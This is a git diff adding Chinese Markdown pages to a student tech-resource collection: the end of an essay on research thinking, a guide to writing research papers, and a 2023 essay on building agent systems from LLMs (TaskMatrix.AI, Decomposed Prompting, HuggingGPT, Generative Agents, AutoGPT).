+举这个两个例子是为了说明，类似 ResNet 这种拍一拍脑袋就想出的 idea，一天可能能想出十几个，但是最后做出来，并且真正 work 的非常少。这里面就存在一个大浪淘沙的过程，可能我们看到的经典的网络，比如 Unet 就是拍拍脑袋，迅速做实验出来的。我认为这种思考方式仅仅值得参考，并不值得效仿。现在早已经不是 5 年前那样，却设计各种 fancy 的网络结构去发论文的年代了。
+
+那么我们应该如何对待神经网络？（之后再写）
+
+但我想 Charles qi 的思考方式是值得借鉴的。论文的顺序是
+
+PointNet------>PointNet++------>PointFrustum-------->VoteNet
+
+有对应的中文 Talk。但我建议先去读论文，之后再看 talk。
+
+我们不应该无脑的认为我们给什么数据，网络就会得到好的结果。说什么高层，底层特征云云。
+
+思考问题可以先从类似哲学的 high level 层面开始，但是具体操作一定要 make sense，不然只是一个空想家。
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/4.8科研论文写作.md b/技术资源汇总(杭电支持版)/4.人工智能/4.8科研论文写作.md
new file mode 100644
index 0000000..23c424f
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/4.人工智能/4.8科研论文写作.md
@@ -0,0 +1,65 @@
+# 科研论文写作
+
+> author：晓宇
+
+序言：写作，一门需要反馈才能学习的科目，无论一个人有多么厉害，第一篇论文的写作，总是那么不尽人意。
+
+其原因在于，首先学术性写作是一门需要刻意训练的科目，其次学术写作训练的反馈成本是巨大的，很难落实到每一个人身上，这并不是一门看看网课就能学会的技能。
+
+所以开设本栏目分享一些感悟与资料。
+
+论文写作方法论简述：
+
+我分为两大块：先想清楚你干了什么，在训练好你表达的规范性
+
+<font color=green>大白话 -> 提取后的逻辑链条</font> -> <font color=red>科研写作 -> 英文翻译</font>
+
+**干了什么：**
+
+1. 如果没有想清楚要做的是什么，要写什么，可以先用大白话，在草稿上写，有利于理清思路，抽丝剥茧
+
+    失败案例：一上来直接英文[ ]  ' '写作，一会 we want，一会 80 个词语的长难句，思路英语都不清晰
+
+2. 先列出 Outline 每一个科研 section 你打算做什么，尝试去回答问题
+
+    ::: warning 📌
+    Introduction(Longer version of theAbstract,i.e.of the entire paper):
+
+    X: What are we trying to do and why is it relevant?
+
+    Y: Why is this hard?
+
+    Z: How do we solve it (i.e. ourcontribution!)
+
+    1: How do we verify that we solved it:
+
+    1a) Experimental results
+
+    1b) Theory Extra space? Future work!
+
+    Extra points for having Figure 1
+
+    on the first page
+
+    :::
+
+之所以要用大白话是因为基础的不足，如果有一定功底的人，可能先天写出来文字自带规范性，所以仅供大家参考）
+
+**表达规范性：**
+
+此处的方法论为一句话，则是从模仿到超越的浑然天成。
+
+1. 但凡是写作，原理无非是学习表达各种逻辑的常用性词语，要表达转折，对比，强调要是用什么词，使用什么句式，在学习的过程中，先是看优秀论文一句话表达的逻辑，然后抽丝剥茧，去掉他的主要内容填入自己的即可。
+
+2. 迭代式写作，尝试多次更改写作的内容，优秀的作品都是改出来的，在把一部分的意思表达清晰知识
+
+上述内容是写作的怎么去写，而下面则是内容层面，什么样的文章算是一篇好的文章
+
+::: warning 📌
+C 会文章与 A 会文章的区别认知：
+
+  (1).C 是对于相关工作一个是罗列，A 是整理相关工作的脉络和方法类别，以及方法缺陷。
+
+  (2).对于设计的方法，C 会只是说明我们比另外几个模型好，并不能从原理层面深入分析为什么比别人好，而 A 会则是能够说明每一部设计对模型的增量效果，以及为什么要做这一步。
+
+:::
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/4.9从 AI 到 智能系统 —— 从 LLMs 到 Agents.md b/技术资源汇总(杭电支持版)/4.人工智能/4.9从 AI 到 智能系统 —— 从 LLMs 到 Agents.md
new file mode 100644
index 0000000..44d3325
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/4.人工智能/4.9从 AI 到 智能系统 —— 从 LLMs 到 Agents.md	
@@ -0,0 +1,984 @@
+# 从 AI 到 智能系统 —— 从 LLMs 到 Agents
+
+author:廖总
+
+*Last revised 2023/04/18*
+
+先声夺人：AI 时代最大的陷阱，就是盲目考察 AI 能为我们做什么，而不去考虑我们能为 AI 提供什么
+
+## *免责声明*
+
+本文纯文本量达 16k（我也不知道字数统计的 28k 是怎么来的），在这 游离散乱的主线 和 支离破碎的文字 中挣扎，可能浪费您生命中宝贵的十数分钟。
+
+但如果您坚持尝试阅读，可能看到如下内容（假设没在其中绕晕的话）：
+
+- 对大语言模型本质 以及 AI 时代人们生产创作本位 的讨论
+- 对大语言模型 上下文学习（In-Context Learning，ICL）和 思维链（Chain of Thought，COT）能力的几种通识性认知
+- 围绕 Prompt Decomposition 对使用大语言模型构建复杂应用的基础讨论
+- 对当前热门大模型 Agent 化框架（如 Generative Agents（即斯坦福 25 人小镇）、AutoGPT）其本质的讨论
+- 对使用大语言模型构建智能系统（基于全局工作空间意识理论）的初步讨论
+- 对使用大语言模型构建符合当今生产需求的智能系统的方法论讨论
+
+（顺便，如果这篇的阅读体验有点一路偏题，请不要见怪，因为我也被这两周的新工作一路被带着跑）
+
+（而这也导致了很多从最开始就埋好想说的东西最后懒得挖了，一路开摆）
+
+（所以唯一有参考价值的思路主干就是下面这条总结）
+
+该文章主要分为几个部分：
+
+- 引言：讨论当前基于 AI 构建工程的背景痛点，连带着讨论 AI 智能如何区别于人类，人类仍应在生产中发挥的智能在何处。
+- LLMs 能力考察：讨论了大语言模型涌现的一系列基本能力，并讨论基于这些基本能力和工程化，大模型能做到哪一步
+- Decomp 方法论：将大语言模型微分化使用的方法论，以此展开对大语言模型的新认知
+- AI 作为智能系统：结合 Generative Agents、AutoGPT 两项工作讨论大语言模型本身的局限性，围绕人类认知模型的启发，讨论通过构建复杂系统使得 LLMs Agent 化的可能性
+- 予智能以信息：讨论基于 LLMs 构建能够充分帮助我们提升生产力的 AI 剩余的一切痛点。借以回到主题 —— 在 AI 时代，我们要打造什么样的生产和信息管理新范式（有一说，还是空口无凭）
+
+总体而言，本文包括对 LLM 领域近一个月的最新几项工作（TaskMatrix、HuggingGPT、Generative Agents、AutoGPT）的讨论，并基于此考察一个真正可用的 AI 会以什么样的形态出现在我们面前。
+
+而本文的核心观点如下：
+
+- 大语言模型的实质是一个拥有智能计算能力的语言计算器
+- 我们不该将其当作独立的智能体看待，但能在其基础上通过构建系统创建智能 Agent
+- 为此，我们需要通过构建信息工程，让 AI 能够真正感知和改造世界，从而改变我们的生产进程
+
+仅作展望。
+
+## 引言
+
+在开启正式讨论之前，我们希望从两个角度分别对 AI 进行讨论，从而夹逼出我们 从 AI 到 智能系统 的主题
+
+- 形而上：我们尝试讨论 AI 智能的形态，进而发现 人类智能 的亮点
+- 形而下：我们尝试给出 AI 使用的样例，进而发掘 人工智能 的痛点
+
+结合二者，我们待解释一种通过人类智能引领人工智能跨越痛点的可能性
+
+> 形而上者谓之道，形而下者谓之器；<br/>化而裁之谓之变，推而行之谓之通，<br/>举而措之天下之民，谓之事业。
+
+以前只知前边两句，现在才知精髓全在后者
+
+### 形而下者器：LLMs + DB 的使用样例
+
+（为了不让话题一开场就显得那么无聊，我们先来谈点有意思的例子）
+
+前些时日，简单尝试构建了一个原型应用，通过 LLM 的文本信息整合能力和推理能力，实现文本到情感表现的映射，并依此实现了游戏对话生成流水线中动作配置的自动生成。
+
+该应用的工程步骤分为以下几步：
+
+- 基于现有任务演出动作库和动作采用样例，构建一个使用情感表达向量化索引动作的数据库
+- 向 LLMs 构建请求，通过向对话文本中添加情感动作标签丰富对话表现
+- 召回填充完毕后的对话样本，正则化收集对话情感标签，并对数据库进行索引
+- 召回数据库索引，逐句完成情感动作选择，并反解析至配档文件
+
+这还是一个极简的工程原型，甚至 LLMs 在其中智能能力的发挥程度依旧存疑，但我主要还是希望其起到一个提醒作用：这彰显了所谓“信息”在实际开发、以及在后续将 AI 引入开发过程中的重要性。
+
+我们要如何将原本储存于大脑的跨模态开发数据知识外化到一个可读的模态上并有效收集起来，同时要如何尽一切可能让 AI 能帮助我们挖掘数据中蕴含的价值，这是最核心的出发点。
+
+而上面这一步，才是应对 LLM 的到来，在未来可期层面上最值得展开讨论的内容。
+
+（后面会给出更多关联的讨论，这里就先不赘叙了）
+
+### 形而上者道：对 LLM 既有智能能力及其局限性的讨论
+
+这一节中，想讨论一下人工智能与人类智能的碰撞（）
+
+从 Plugins 到 AI 解决问题的能力
+
+此相关的讨论是在 ChatGPT Plugins 出现后展开的：
+
+ChatGPT Plugins 在两篇论文两个角度的基础上，对 LLMs 的能力的能力进行延拓
+
+- ToolFormer：让 AI 具有使用工具的能力
+- Decomp：让 AI 能逐层分解并完成任务
+
+此相关的能力，其实在微软最新的一篇论文 TaskMatrix.AI 中被进一步阐述，其通过工程构建了一个 AI 能 自由取用 API 解决问题 的环境。
+
+上述能力，在实质上进一步将 AI 解决问题的能力与人类进行了对齐：人们通过问题的拆解，将任务转化为自己能处理的多个步骤；并通过工具借自己所不能及之力，将问题最终解决。此二者无疑是人类解决问题最核心的步骤，即确定“做什么”和“怎么做”
+
+而这也基本奠定了后续面向 AI 的工作流，其基本展开形态：
+
+- 为 AI 提供接口，为 AI 拓展能力
+- 建模自身问题，促进有效生成
+
+#### 从人工智能到人类智能
+
+在上面的论断中，我们看似已经能将绝大多数智能能力出让予 AI 了，但我还想从另一角度对 AI 与人类的能力进行展开讨论：
+
+即讨论一下人工智能的模型基础与其历程
+
+- 人工智能：AI 的元智能能力
+- “人工”智能：辅佐 AI 实现的智能
+- 人类智能：于人类独一无二的东西
+
+#### AI 智能的形态
+
+大语言模型的原始目的是制造一个“压缩器”，设计者们希望他能有效地学习世界上所有信息，并对其进行通用的压缩。
+
+在压缩的过程中，我们希望 AI 丢掉信息表征，并掌握知识背后的智能能力与推理能力，从而使得该“压缩器”能在所有的域上通用。
+
+该说法是略显抽象的，但我们可以给出一个简单的现实例子对其进行描摹：
+
+> “人总是要死的，苏格拉底也是人，所以苏格拉底是要死的”<br/>这是一个经典苏格拉底式的三段论，其中蕴含着人类对于演绎推理能力的智慧。<br/>假设上面的样本是 LLM 既有学习的，而这时来了一个新的样本：<br/>“人不吃饭会被饿死，我是人，所以我也是要恰饭的嘛”<br/>那么对于一个理想的智能压缩器而言，其可能发现新句与旧句之间的关联，并有效学习到了句子的表征形式及其背后的逻辑
+
+$$
+S1=<(人，苏格拉底，死),三段式推理>
+$$
+
+$$
+S2=<(人，我，恰饭),三段式推理>
+$$
+
+> 而随后，压缩器会倾向于储存三段式推理这一智能结构，并在一定程度上丢弃后来的（人，我，恰饭）这一实体关系组，仅简单建模其间联系，并在生成时按需调整预测权重。
+
+换言之，对 LLMs 而言，其对“智能”的敏感性要远高于“信息”
+
+而这也带来了大语言模型训练的一些要点，通常对 LLM 而言，越是底层的训练越容易混入并给予 LLM“信息表征”，而越是高层的训练，越倾向于让 LLM 掌握新的“智能模式”
+
+基于这一点，我们能对 LLM 的智能能力出发点进行简要推断：
+
+LLM 的实质上还是通过“语言结构”对“外显人类智能”进行掌握，也正是相应的，引入了一系列问题
+
+- AI 偏好学习智能，却不能很好的学习“信息型知识”
+- AI 只能掌握基于语言模态等可外显表征模态下的智能
+
+进一步的，受限于自回归解码器结构的限制，AI 只能线性地回归文本序列，而无法构建自反馈。
+
+而也正是这些固有缺陷，为人类的自我定位和进一步利用 AI 找到了立足点。
+
+#### 赋能 AI 实现智能
+
+作为上面一点的衍生，我们可以从大体两个角度去辅助 AI 智能的实现：
+
+- 补全 AI 的智能能力
+
+  - 通过 Prompt Engineering 激发 AI 既有的能力
+  - 通过启发方法构建 AI 的智能链条
+
+    - 内隐启发：通过复杂 Prompt 指导 AI 理解并完成任务
+      ICL / COT Prompt
+    - 外显启发：通过程序规范化 LLMs 完成任务所需流程
+      ChatGPT Plugins / LangChain
+    - 结构启发：通过构建工程结构支持 AI 自迭代分解并解决问题
+      Decomp / TaskMatrix.AI / Hugging GPT
+- 附加 AI 的信息能力
+
+  - 通过知识工程和迭代调用等方法，为 AI 构造“记忆宫殿”
+
+### 反思人类智能
+
+作为人类而言，我们所拥有的智能能力显然也不是能被 AI 所覆盖的
+
+首先，我们是“能动”与“体验”功能都脱离于我们狭义的智能而存在，而正是这些要素赋予了我们“主体性”
+
+其次，也正是这些成分脱离于语言和表达而存在，使他们成为无法被显式学习的要素
+
+- AI 不具备深层动机，它有的只是被语言所描述的目标
+- AI 不具备体验能力，因此它的创作是无反馈无迭代的
+
+但是，相应的，不涉及上述内容的工作流程，在可预见的将来，会由 AI 全面参与。
+
+而我们为了不被时代淘汰，要更加积极主动地将 AI 引进来。
+
+### 化而裁之，推而行之：回到我们的主题
+
+回顾一下上文，我们从应用和概念两个角度简要讨论了 AI 当前的使用情况，以及这些应用依托于什么
+
+- 应用
+
+  - 通过 AI 实现了高度智能化的工作
+  - 通过整理开发信息使得链路通顺
+- 概念
+
+  - 我们能通过外力引导赋予 AI 更强的解决问题的能力
+  - AI 的核心能力是通用智能能力，对工作情境已高度可用
+  - 人类能力的核心是能动和体验，而非浅显的智能
+- 展望
+
+  - 如何更好的赋能 AI
+  - 如何更好的驾驭 AI
+
+在唠嗑了这么多之后，我们终于能引入今天的主题了。
+
+简而言之，我希望能追随着 AI 的发展，讨论是否能构建这样一个通用的 AI 框架，并将其引入工作生产的方方面面。希望能讨论及如何对生产信息进行有效的管理，也包括如何让我们更好调用 AI，如何让 AI 满足我们的生产需要。
+
+## LLMs：生成原理及能力考察
+
+相信无论是否专业，各位对 LLMs 的生成原理都有着一定的认知
+
+简单来说，这就是一个单字接龙游戏，通过自回归地预测“下一个字”。在这个过程的训练中，LLMs 学习到了知识结构，乃至一系列更复杂的底层关联，成为了一种人类无法理解的智能体。
+
+### In-Context Learning / Chain of Thought
+
+经过人们对模型背后能力的不懈考察，发现了一系列亮点，其中最瞩目的还是两点：
+
+ICL（In-Context Learning，上下文学习）和 COT（Chain of Thought，思维链）
+
+可以说，绝大部分对于使用 LLMs 的启发，都源自这两个特性，简单说明此二者的表现
+
+- ICL：上下文学习使得模型能从上下文中提供的样例/信息中学习，有效影响输出
+- COT：当模型在输出过程中写出思维过程时，能大幅提升输出效果
+
+虽然学界对此没有太大的共识，但其原理无非在于给予 LLMs 更翔实的上下文，让输出与输入有着更紧密的关联与惯性。（从某种意义上来说，也可以将其认为是一种图灵机式的编程）
+
+> ICL：<br/>![](https://cdn.xyxsw.site/Xjw5bXgRNolw6OxBiEecfOUTn5b.png)
+
+ICL 为输出增加惯性
+
+> 可以简单认为，通过 ICL Prompt，能强化人类输入到机器输出的连贯性，借以提升输出的确定性。<br/>在经过“回答”的 finetune 之前，大模型的原始能力就是基于给定文本进行接龙，而 ICL 的引入则在“回答”这一前提条件下，降低了机器开始接龙这一步骤中的语义跨度，从而使得输出更加可控。<br/>
+
+COT：<br/>![](https://cdn.xyxsw.site/NT04baWdNoYzRrxjJFfcXCgbnLh.png)
+
+COT 为输出增加关联
+
+> 同样可以简单认为，在引入 COT 后，AI 能将一次完整的输出看作两次分离的输出。<br/>对这两次输出而言，输入输出之间均有更高的关联度，避免了长程的抽象推理。对应短程推理的误差相对较小，最终使得积累误差也要更小。
+
+进一步的，ICL 的发现，让 LLMs 能避免过多的传统 Finetune，轻易将能力运用在当前的情景中；COT 的发现，使得通过 LLMs 解决复杂问题成为可能。此二者的组合，为 LLMs 的通用能力打下了基础。
+
+### TaskMatrix.AI
+
+微软对 [TaskMatrix.AI](https://arxiv.org/abs/2303.16434) 这一项目的研究，很大程度上展示了 LLMs 基于 ICL 和 COT 所能展现的能力
+
+（需要注意的是，TaskMatrix.AI 更大程度上是一个愿景向的调研案例，尚未正式落地生态）
+
+![](https://cdn.xyxsw.site/GlM9be7Hvo4EepxQfEOcRvzpnKd.png)
+
+TaskMatrix 的生态愿景
+
+该文展现了一个生态愿景，即将 LLMs 作为终端，整合诸多 API 的能力，让 AI 运用在生活中的方方面面。
+
+简单介绍的话，该框架主要分为四个模块
+
+- Multimodal Conversational Foundation Model：通过与用户对话了解问题情景，并按需组装 API 实现操作，帮助用户解决问题
+- API Platform：构建统一的 API 制式，储存和管理平台内上所有 API 及其关联文档
+- API Selector：根据 MCFM 对用户问题的理解，向 MCFM 选择并推荐可用 API
+- API Executor：代替 MCFM 执行 API 脚本，并返回执行结果或中间信息
+
+基于这一框架，微软于论文中实现了诸如图像编辑（基于我们摸不到的 GPT4）、论文写作、PPT 制作等工作。不难想象，微软即将推出的 Office 365 Copilot 也是基于相关技术及更深层的 API 定制实现的。
+
+而与此相关的工作还可以关注 [HuggingGPT](https://arxiv.org/abs/2303.17580)，也是微软同期发布的论文，让 AI 能自主调用 Hugging Face 上的通用模型接口解决 AI 问题，从而实现一种“AGI”性能。
+
+毫无疑问，我们通常会认为这种通过构造框架来大幅增强 LLMs 能力的可能性，是构建在既有 ICL 和 COT 的能力之上的，而我会围绕此二者重新进行简单展开
+
+（当然，硬要说的话，对 ICL 和 COT 两种能力都有一个狭义与广义之争，但这不重要，因为我喜欢广义）
+
+#### ICL for TaskMatrix
+
+> 狭义的 ICL：从输入的既有样例中学习分布和规范<br/>广义的 ICL：有效的将输入内容有效运用到输出中
+
+以 TaskMatrix 为例，在 API 组装阶段，其为 MCFM 提供的 ICL 内容即为 API 的文档
+
+以论文为例，其提供的每个 API 文档分为如下部分
+
+- API Name：用于描述该 API 名，亦即函数的调用名
+- Parameter List：用于描述 API 中的参数列表，介绍每个参数的特性及输入输出内容
+- API Description：API 描述，用于描述 API 功能，查找 API 时的核心依据
+- Usage Example：API 的调用方法样例
+- Composition Instruction：API 的使用贴士，如应该与其它什么 API 组合使用，是否需要手动释放等
+
+> 样例：打开文件 API<br/>![](https://cdn.xyxsw.site/IFWXbgiy8oOj5axvJd8cJu6pnVb.png)
+
+基于此类文档内容和 ICL 的能力，LLMs 能从输入中习得调用 API 的方法，依此快速拓展了其横向能力
+
+COT for TaskMatrix
+
+> 狭义的 COT：通过 Lets Think Step by Step 诱导 LLMs 生成有效的解答中间步骤，辅助输出<br/>广义的 COT：通过 LLMs 的固有能力对问题进行拆解，构建解决问题的链条
+
+通过此种模式，能极好的将问题分解至可被执行的原子形态
+
+在 TaskMatirx 中，通过该模式，让 MCFM 将任务转化为待办大纲，并最终围绕大纲检索并组合 API，完成整体工作
+
+> 样例：写论文<br/>构建完成工作大纲<br/>![](https://cdn.xyxsw.site/GAeJbok1FoTFLixLQAlcxdAPned.png)
+
+TaskMatrix 自动围绕目标拆解任务
+
+> 自动调用插件和组件<br/>![](https://cdn.xyxsw.site/PUHZbzk7jo5Avuxo1g6cgD9snXg.png)
+
+TaskMatrix 自动为任务创建 API 调用链
+
+### 初步考察
+
+基于上述的简单介绍，我们已经初步认识了 AI 在实际情景中的高度可用性
+
+而接下来，我们继续从工程的角度揭示这种可用性的根源 —— 其源自一项通用的 Prompt 技术
+
+## Prompt Decomposition：方法论
+
+我们可以认为，TaskMatirx 的能力极大程度上依托于 Prompt Decomposition 的方法
+
+而这实质上也是串联 LLM 能力与实际工程需求的必经之路
+
+[[2210.02406] Decomposed Prompting: A Modular Approach for Solving Complex Tasks (](https://arxiv.org/abs/2210.02406)[arxiv.org](https://arxiv.org/abs/2210.02406)[)](https://arxiv.org/abs/2210.02406)
+
+### 原始 Decomp
+
+Decomp 的核心思想为将复杂问题通过 Prompt 技巧，将一个复杂的问题由 LLMs 自主划分为多个子任务。随后，我们通过 LLMs 完成多个任务，并将过程信息最终组合并输出理想的效果
+
+![](https://cdn.xyxsw.site/X7iLbYOcpoXZy7xuhorc71LSnod.png)
+
+几种 Prompt 方法图示
+
+参考原始论文中阐述的方案，Decomp 方法区别于传统 Prompt 方法就在于，Decomp 会根据实际问题的需要，将原始问题拆解为不同形式的 Sub-Task，并在 Sub-Task 中组合使用多种符合情景的 Prompt 方法。
+
+而对于 Decomp 过程，则又是由一个原始的 Decomp Prompt 驱动
+
+![](https://cdn.xyxsw.site/A7OubowqYo11O3xn0KbcRoscnEh.png)
+
+Decomp 方法执行样例
+
+在实际运行中，Decomp 过程由一个任务分解器，和一组程序解析器组成
+
+其中分解器作为语言中枢，需要被授予如何分解复杂任务 —— 其将根据一个问题 Q 构建一个完整的提示程序 P，这个程序包含一系列简单的子问题 Q_i，以及用于处理该子问题的专用函数 f_i（可以通过特定小型 LLM 或专用程序，也可以以更小的提示程序 P_i 形式呈现）。
+
+模型将通过递归运行完整的提示程序，来获得理想的答案。
+
+在构建 Decomp 流程的初期，其主要是为了解决 LLMs 无法直接解决的具有严密逻辑的工作（比方说基于文本位置的文字游戏，比方说检索一首藏头诗的头是啥（当然这个太简单了），大模型的位置编码系统和概率系统让其很难长程处理相关工作），我们希望通过 Decomp 方法，将复杂问题逐步归约回 LLMs 能处理的范畴。
+
+我们也可以认为，在每个子任务中，我们通过 Prompt 将 LLMs 的能力进行了劣化，从而让其成为一个专职的功能零件。而这种对单个 LLMs 能力迷信的削减，正延伸出了后续的发展趋势。
+
+### Decomp 衍生
+
+Decomp 的原始功能实际上并不值得太过关注，但我们急需考虑，该方法还能用于处理些什么问题。
+
+#### 递归调用
+
+我们可以构建规则，让 Decomp 方法中的分解器递归调用自身，从而使得一个可能困难的问题无限细分，并最终得以解决
+
+#### 外部调用
+
+通过问题的分解和通过“专用函数”的执行，我们可以轻易让 LLMs 实现自身无法做到的调用 API 工作，例如主动从外部检索获取回答问题所需要的知识。
+
+![](https://cdn.xyxsw.site/N1z8bU7dzoD6x1xKtT3cpm9Pnpe.png)
+
+Decomp 方法调用外部接口样例
+
+如上图为 LLMs 利用 ElasticSearch 在回答问题过程中进行检索
+
+基于此，我们还希望进一步研究基于这些机制能整出什么花活儿，并能讨论如何进一步利用 LLMs 的能力
+
+### 回顾：HuggingGPT 对 Decomp 方法的使用
+
+[HuggingGPT](https://arxiv.org/abs/2303.17580) 一文也许并未直接参考 Decomp 方法，而是用一些更规范的手法完成该任务，但其充分流水线化的 Prompt 工程无疑是 Decomp 方法在落地实践上的最佳注脚
+
+![](https://cdn.xyxsw.site/Uct8bXhTgocChExgmiWcQTbSnGb.png)
+
+HuggingGPT
+
+如图所示，在实际工程中，对于这个调用 HuggingFace API 的“通用人工智能”而言，其所需的任务并不复杂，仅仅分为三步（获取并运行缝在一起了）
+
+- 理解并规划解决问题所需步骤
+- 选择并运行解决问题所需模型
+- 基于子问题输出结果总结反馈
+
+同样的，TaskMatrix.AI 也使用了相似的方法和步骤来完成任务，最新的进展高度明晰了该框架的可用性，并为我们如何有效使用 AI 来完成专用任务提供了有效的指导。
+
+接下来，我们会讨论一个很新的，在为 Agent 模拟任务构建框架上，把 Decomp 和 Prompting 技术用到登峰造极的样例。
+
+## Generative Agents：社群模拟实验
+
+[[2304.03442] Generative Agents: Interactive Simulacra of Human Behavior (](https://arxiv.org/abs/2304.03442)[arxiv.org](https://arxiv.org/abs/2304.03442)[)](https://arxiv.org/abs/2304.03442)
+
+Generative Agents 一文通过的自然语言框架 AI 构建出了一个模拟社群，一方面我们震撼于以 AI 为基础的社群复杂系统也能涌现出如此真实可信的表现，另一方面则需要关注他们通过 Prompt 技巧和工程设计，为 AI 构建的 感知、记忆、交互 大框架。
+
+其在极大程度上能为我们想建立的其它基于 AI 的工程提供参考。
+
+因为，其本质是一个信息管理框架的实验。
+
+### 简要介绍
+
+简单介绍该项目构建的框架：
+
+我们可以认为该工程由三个核心部分构成
+
+- 世界信息管理
+- 角色信息管理
+- 时间驱动机制
+
+我们可以从宏观到微观渐进讨论该课题：
+
+Generative Agents 构建了一套框架，让 NPC 可以感知被模块化的世界信息。同时，对于全游戏的每个时间步，该框架驱动 NPC 自主感知世界环境的信息与自身信息，并依此决策自己想要执行的行为。
+
+根据 NPC 的决策，NPC 能反向更新自身所使用的记忆数据库，并提炼总结出高层记忆供后续使用。
+
+### 世界沙盒的构建
+
+相比角色信息的构建是重头戏，世界沙盒的构建使用的方法要相对朴素一些
+
+世界沙盒的核心是一个树状 Json 数据，其依据层次储存游戏场景中所有的信息：
+
+- 一方面，其包含场景中既有对象，包括建筑和摆件等的基础层级信息
+
+![](https://cdn.xyxsw.site/BKZPbpDrIo95amxDZANccwHZnpd.png)
+
+Generative Agents 的场景信息管理
+
+- 另一方面，其储存了沙盒世界中每个代理的信息，包括其位置、当前动作描述、以及他们正在交互的沙盒对象
+
+对于每个时间步，服务器将解析场景的状态，例如对于 Agent 使用咖啡机的情景，会自动将咖啡机转换为正在使用中的状态。
+
+而相对更有趣的设计是，场景中的所有信息会依靠认知过滤（即 NPC 是否能感知其感知范围外的环境变化）进行筛选，并最终呈现成 NPC 可感知/有印象的子集。
+
+同时，空间信息会被自动组成自然语言 Prompt，用于帮助 Agent 更好地理解外部信息。甚至当 Agent 希望获取空间信息时，其能主动递归调用世界信息，从而让 NPC 能准确找到其希望抵达的叶子节点。
+
+### Agent 构建
+
+模型中的 Agent 由 数据库 + LLMs 构建
+
+对于一个初始化的 Agent，会将角色的初始设定和角色关联设定作为高优先级的“种子”储存在“记忆”中，在记忆种子的基础上，得以构建角色的基本特征和社交关系，用于展开后续关联
+
+一个 Agent 核心的能力是 —— 将当前环境和过去经验作为输入，并将生成行为作为输出
+
+对于当前环境，在构建世界沙盒模块对方法论进行了简要的介绍。
+
+而对于过去经验的输入，则是文章的一大亮点
+
+### 记忆模式
+
+对于 Agent 的记忆，依托于一个储存信息流的数据库
+
+数据库中核心储存三类关键记忆信息 memory, planning and reflection
+
+#### Memory
+
+对于 Agent 每个时间步观测到的事件，会被顺序标记时间戳储存进记忆数据库中
+
+而对于储存进数据库的信息，记忆管理器通过三个标准对其进行评估和管理
+
+- Recency：时效性，记忆在数据库中会随着时间推移降低时效性，数据库储存记忆的最后访问时间，并由此与当前时间对比，计算时效性评分
+- Importance：重要性，当记忆储存时，会使用特定 Prompt 让 Agent 自主评估当前记忆的重要性，并依据该评分调整该记忆的权重（例如扫地和做咖啡可能就是无关紧要的记忆）
+- Relevance：关联性，该指标被隐式地储存，表现为一个嵌入索引，当调取记忆时，会将调取记忆的关键词嵌入与索引相匹配，以取得关联性的评分
+
+对于对记忆数据库进行索引的情况，会实时评估上述三个指标，并组合权重，返回对记忆索引内容的排序
+
+#### Reflection
+
+反思机制用于定期整理当前的 memory 数据库，让 npc 构建对世界和自身的高层认知
+
+反思机制依靠一个自动的过程，反思 - 提问 - 解答
+
+在这个过程中，Agent 需要复盘自身所接受的记忆，并基于记忆对自己进行追问：
+
+“根据上述信息，我们能问出哪些最高优先级（有趣）的问题”
+
+依据由 Agent 的好奇自主产生的问题，我们重新索引数据库，并围绕相关的记忆产生更高层的洞察
+
+> What 5 high-level insights can you infer from the above statements?<br/>(example format: insight (because of 1, 5, 3))
+
+进一步的，我们将这些洞察以相同的形式重新储存至记忆库中，由此模拟人类的记忆认知过程
+
+#### Planning
+
+Planning 的核心在于鼓励 Agent 为未来做出一定的规划，使得后续行动变得可信
+
+计划由 Agent 自行生成，并存入记忆流中，用于在一定程度上影响 Agent 的当前行为
+
+对于每天 Agent 都会构建粗略的计划，并在实际执行中完善细节
+
+在此基础上，Agent 也需要对环境做出反应而调整自己的计划表（例如自身判断外界交互的优先级比当前计划更高。
+
+### 交互构建
+
+基于上述记忆框架，进一步实时让 Agent 自行感知并选择与其它 Agent 构建交互
+
+并最终使得复杂的社群在交互中涌现
+
+### 启发
+
+Generative Agent 框架主要带来了一些启发，不止于 AI-NPC 的构建，其操作的诸多细节都是能进一步为我们在实际的工程中所延拓的。
+
+例如：
+
+> 感知，围绕目标递归对地图搜索，带来了递归检索数据库的可能性，以及要如何有效构建数据库之间的关联（不止于树<br/>记忆，将 AI 的 Reflection 等表现储存进数据库中，用于实现高层观点的构建，比方说自动构建对复杂对象，如代码库的高层理解<br/>交互，通过地图要素的拆分和可读化构建的交互框架，如何基于该思路构建大世界地图关卡数据的数据库，如何把它拓展到更复杂的游戏中
+
+我们可以认为，Generative Agents 一文的核心亮点在于，其构建了一套充分有效的信息管理机制以支撑世界运行的需要，并未我们提供了一系列启发性的数据管理观点
+
+- 层次管理数据：通过对数据进行分层的管理和访问，降低运算开销，并通过系统级递归实现访问
+- 层次管理信息：通过语言模型的能力为信息构建高层的 Insight，对碎片信息的信息量进行聚合
+- 数据价值评估：通过实际需求对信息进行评估，构建多样化的信息评估指标，实现信息的有效获取
+- AI x 信息自动化系统的构建：基于 AI + 软件系统而非基于人工对数据进行收集和管理
+- etc...
+
+## AutoGPT：自动化的智能软件系统
+
+[Torantulino/Auto-GPT: An experimental open-source attempt to make GPT-4 fully autonomous. (](https://github.com/Torantulino/Auto-GPT)[github.com](https://github.com/Torantulino/Auto-GPT)[)](https://github.com/Torantulino/Auto-GPT)[github.com/Torantulino/Auto-GPT](https://github.com/Torantulino/Auto-GPT)
+
+同为近期，一个名为 AutoGPT 的软件系统在 Github 上被开源，其通过构建软件系统支持，让 AI 能围绕预设定的目标反复迭代，并自主获取外界的反馈，从而形成一个能自动化满足需求的自动机。
+
+特别的，其可以被视为前文中 Generative Agent 中由系统自驱动单个 Agent 的拓展，通过构建内置和外置的不同目标驱动 GPT 作为 Agent 持续运行
+
+AutoGPT 主要特性如下：
+
+- 使用 GPT-4 实例进行文本生成
+- ️ 使用 GPT-3.5 进行文件存储和摘要
+- 接入互联网获取信息
+- 长期和短期内存管理
+
+考虑到工程细节，该项目实际上没有特别大的落地案例，但毫无疑问这是面向未来的 GPT 使用方式
+
+其核心机制在于，通过 LLMs 和 记忆/目标管理模块 的符合，构建出了一个复杂的 Agent 系统
+
+我们通常不再将该系统认为是一个完整的 GPT 线程：
+
+这是一个通过工程、通过系统化、通过反馈构建的自动机，就像人一样。
+
+（我们需要放下通过 LLMs 来模拟智能体的执念，我们作为智能体的实质是一个输入输出的系统，而我们所自认为的自由意志也只是大脑的一个解释模块而已，也许与智能系统中调用的单个 LLMs 线程异曲同工）
+
